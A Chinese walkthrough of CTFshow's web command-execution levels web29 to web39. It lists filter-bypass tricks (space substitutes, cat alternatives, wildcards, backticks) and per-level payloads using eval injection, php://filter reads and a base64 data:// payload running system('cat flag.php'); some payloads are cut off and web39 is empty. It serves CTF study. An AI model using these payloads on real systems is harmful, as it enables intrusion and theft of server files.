栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

CTFshow—web入门——命令执行(持续更新)

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CTFshow—web入门——命令执行(持续更新)

web入门——命令执行
    • 命令执行
    • web29
    • web30
    • web31
    • web32
    • web33
    • web34
    • web35
    • web36
    • web37
    • web38
    • web39

命令执行

反引号``

反引号``即命令替换
是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出

单引号,双引号

适用条件:过滤了字符串
放在shell命令中,绕过正则匹配且不影响原意

空格绕过

> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

读文件绕过(cat绕过)

适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep grep test *file   #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

Linux通配符绕过

适用条件:过滤了flag,没有过滤 ? *
在linux系统中 有一些通配符

匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

include 和伪协议的配合

因为include包含php文件不会在页面显示出来
所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响
web29

题目
题解
查看目录
由于flag被过滤,可以使用通配符进行绕过,查看flag.php
复制flag.php文件到1.txt并访问

web30

题目
题解
过滤了flag、system还有php。

运用反引号查看目录 并查看flag.php(flag php被过滤 运用通配符)

web31

题目
题解
又加上了点、单引号和空格被过滤。我们可以通过shell中eval命令进行变量嵌套替换
payload:

c=eval($_GET[1]);&1=echo `nl flag.php `;

web32

题目

题解
过滤了括号以及分号
%0a换行符
include函数不用括号 分号可以用?>代替

payload:

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web33

题目

题解
本题多过滤了一个双引号,这题用require函数
payload:

c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

题目

题解
过滤又增加了:
依然可以用之前的方法
payload:

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

题目

题解
又多过滤了<,依然可以用之前的方法
payload:

c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

题目

题解
又增加了数字.emmmm…依然可以用之前的方法。只不过换成字母
payload:

c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

题目

题解
include文件包含,同时又过滤了flag,利用data伪协议
payload:

c=data://text/plain,

web38

题目

题解
过滤了PHP,
在php中,每当它读取php文档时,它都会查找:


它只处理上述标签之间的代码,并在它们周围留下其他代码。
例:


输出:
Hello PHP !
但,其实在使用echo() 进行输出时,我们可以使用快捷方法。上面示例可以使用


说明:“ 可以用短标签代替php执行

payload:

1  c=data://text/plain,
2  c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web39

题目

题解

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/300026.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号